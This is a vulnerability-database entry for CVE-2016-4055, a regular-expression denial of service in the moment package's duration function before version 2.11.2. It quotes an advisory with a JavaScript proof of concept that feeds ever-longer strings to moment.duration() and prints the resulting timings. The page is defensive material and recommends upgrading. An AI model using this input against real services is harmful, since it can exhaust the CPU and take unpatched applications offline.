CVE-2016-4055
highpriority · track · 29EPSS 0.099 · 96 %ileEUUSEPSS · scored 2026-10-27
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
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base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6–7.8
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affected products (5)
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advisories (1)
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- GHSA-87vv-r9j6-g5qvRegular Expression Denial of Service in moment2017-10-24ghsa · osvUS
Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`. ## Proof of concept ``` var moment = require('moment'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=20000;i<=10000000;i=i+10000) { console.log("COUNT: " + i); var str = '-' + genstr(i, '1') console.log("LENGTH: " + str.length); var start = process.hrtime(); moment.duration(str) var end = process.hrtime(start); console.log(end); } ``` ### Results ``` $ node moment.js COUNT: 20000 LENGTH: 20002 [ 0, 618931029 ] COUNT: 30001 LENGTH: 30003 [ 1, 401413894 ] COUNT: 40002 LENGTH: 40004 [ 2, 437075303 ] COUNT: 50003 LENGTH: 50005 [ 3, 824664804 ] COUNT: 60004 LENGTH: 60006 [ 5, 651335262 ] ``` ## Recommendation Please update to version 2.11.2 or later.
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references (33)
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- http://www.openwall.com/lists/oss-security/2016/04/20/11cnnvd
- http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.htmlcnnvd
- http://www.securityfocus.com/bid/95849cnnvd
- https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@%3Cdev.flink.apache.org%3Ecnnvd
- https://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@%3Cuser.flink.apache.org%3Ecnnvd
- https://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@%3Cuser.flink.apache.org%3Ecnnvd
- https://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@%3Cuser.flink.apache.org%3Ecnnvd
- https://nodesecurity.io/advisories/55cnnvd
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